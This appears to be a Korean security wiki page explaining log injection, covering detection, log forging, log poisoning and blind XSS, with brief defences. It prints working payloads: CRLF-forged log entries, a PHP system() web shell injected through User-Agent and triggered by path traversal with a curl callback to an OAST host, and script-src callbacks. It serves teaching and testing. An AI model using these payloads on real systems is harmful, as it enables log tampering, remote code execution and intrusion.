Log Injection
Introduction
Log Injection은 사용자 입력이 로그에 포함되는 경우 공격자가 이를 이용해 로그 항목을 위조하거나 악성 내용을 로그에 삽입할 수 있습니다.
Offensive techniques
Detect
WhiteBox
소스코드 또는 로그를 확인할 수 있는 경우 식별하기 쉽습니다. 에러 로그에서 사용자의 입력 값을 포함하여 로깅하는 경우 해당 취약점의 영향을 받습니다.
- 코드레벨: 각 언어에서 로그를 작성하는 부분 중 사용자 입력이 존재하는지 체크
- 로그레벨: 실제로 웹 요청을 통해 에러를 유도하고, 기록되는 로그를 체크
언어 별 취약한 코드는 Vulncat에 정리되어 있으니 해당 문서를 참고해주세요.
// 취약 코드 예시
// 아래 코드는 query 파라미터로 부터 얻은 값이 별도의 검증 없이
// log로 기록됩니다.
input := r.FormValue("query")
logger.ErrorF("Error input: %s / %s", input, err)
BlackBox
소스코드나 로그를 통해 확인할 수 없다면 일반적으로 식별하기 어렵습니다. 단 Blind 계통의 취약점을 통해 확인할 수 있는 경우가 있습니다. 이 때 OAST를 이용한 테스팅 방법이 가장 유용합니다. 로그 내 OAST 요청을 발생시키는 코드를 삽입한 후 로그를 유도하여 OAST 서비스를 통해 Reaction을 확인하고, 요청이 온다면 백엔드에서 Blind 계통의 취약점 가능성이 있다는 것을 알 수 있게 됩니다.
e.g
GET /please_error_trigger HTTP/1.1
User-Agent: aaaaaaa"><img/src=OAST>
단 Callback이 온 경우 단순 Log injection이 아닌 Blind SSRF, Blind XSS 등 다른 취약점일 가능성이 높습니다.
Exploitation
Log forging
사용자 입력이 로그에 반영되는 부분이 있다면 CRLF(\r\n) 문자를 이용하여 새로운 로그를 작성할 수 있습니다. 이러한 로그는 침해사고 분석을 어렵게할 수 있고, 로그의 무결성을 해쳐서 로그의 신뢰도를 떨어뜨리고, 로그가 가지는 부인 방지로서의 목적을 상실하게 할 수 있습니다.
코드
input := r.FormValue("query")
logger.ErrorF("['%s' User][error][input: %s] %s", username, input, err)
요청과 정상 로그
GET /?query=aaaa
['A' User][error][input: aaaa] invalid data
공격 요청과 로그
GET /?query=aaaa]%20invalid%20data%0d%0a['B' User][token]%20re-generate%20token
['A' User][error][input: aaaa] invalid data
['B' User][token] re-generate token
Log Poisoning
Log 데이터를 통제할 수 있고 서비스 내 LFI, Path Traversal 취약점이 있는 경우 로그 파일의 경로를 유추하여 RCE 등 위험도 높일 수 있습니다.
First request (log poisoning)
GET / HTTP/1.1
User-Agent: aa<?php echo system($_GET['cmd']); ?>bb
Second request (path traversal)
GET /file.php?path=/var/log/apache2/access.log?cmd=curl%20<OAST>/rce HTTP/1.1
Blind XSS
로그를 처리하는 어드민이나 웹 서비스가 있다면 이를 이용해서 Blind XSS가 가능할 수 있습니다.
GET /?query=aaa"'></script><script src=<OAST>></script>
// 로그
['A' User][error][input: aaa"'></script><script src=<OAST>></script>] invalid data
// 만약 웹 서비스에서 위 로그를 확인할 수 있다면 Blind XSS가 가능합니다.
Defensive techniques
가급적 사용자의 입력이 로그에 반영되지 않도록 코드를 작성해야하며, 만약 사용자 입력이 반영되어야 하는 경우 로그 포맷에 영향을 줄 수 없도록 CRLF, Tab, 과도한 Space 등의 문자는 기록되지 않도록 검증해야 합니다.
Tools
- 소스코드 분석 도구
- OAST 관련 도구